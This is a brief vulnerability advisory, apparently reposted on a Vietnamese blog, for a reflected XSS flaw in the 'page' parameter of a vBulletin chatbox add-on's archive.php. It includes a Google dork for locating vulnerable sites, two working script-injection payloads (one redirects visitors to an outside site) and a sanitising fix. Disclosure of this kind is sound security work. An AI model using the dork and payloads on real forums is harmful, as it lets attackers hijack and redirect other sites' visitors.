J2TEAM Security: A must-have extension for Chrome users. Install now!

ChangUonDyU - Extra File Chatbox XSS vulnerability at Archive

ChangUonDyU - Extra File Chatbox XSS vulnerability at Archive | Juno_okyo's
# Exploit Title: ChangUonDyU - Extra File Chatbox XSS vulnerability at Archive
# Google Dork: intitle:"Tin nhắn lưu trữ" and inurl:archive.php?page=
# Date: 24/06/2013
# Exploit Author: Juno_okyo
# Vendor Homepage: http://hoiquantinhoc.com/
# Software Link: http://hoiquantinhoc.com/modifications-3-8-x/14749-changuondyu-extra-file-chatbox-3-6-0-a.html
# Version: 3.6.0 (may affect other versions)
# Tested on: vBulletin 3.8.7 (and affect other versions)
# CVE : http://www.vbulletin.com/


##################################################################
Vulnerability:
##################################################################
An input unfiltered help we can exploit an XSS vulnerability:
if ($_GET['page'])
{
    $page = $_GET['page'];
}
else
{
    $page = 1;
}


##################################################################
Exploitation:
##################################################################
We can inject script for a XSS attack:
archive.php?page=<script>alert("XSS was found!")</script>

archive.php?page=<script>location.href="http://junookyo.blogspot.com/"</script>



##################################################################
How to fix:
##################################################################
Edit archive.php file, we need filter to prevent script injection:
if ($_GET['page'])
{
    $page = htmlentities(strip_tags($_GET['page']));
}
else
{
    $page = 1;
}


##################################################################
Great thanks to J2TeaM (Juno_okyo, James, Neods, Killer, K-20 and all member)
##################################################################

Đăng nhận xét

Cảm ơn bạn đã đọc bài viết!

- Bạn có gợi ý hoặc bình luận xin chia sẻ bên dưới.

- Hãy viết tiếng Việt có dấu nếu có thể!